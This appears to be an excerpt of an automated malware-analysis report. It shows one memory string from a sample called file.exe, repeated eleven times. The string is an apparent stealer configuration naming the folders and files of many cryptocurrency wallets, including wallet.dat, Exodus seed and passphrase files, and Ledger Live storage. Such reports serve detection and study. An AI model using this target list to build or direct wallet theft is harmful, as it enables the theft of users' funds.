Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.2737576972.0000000001070000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
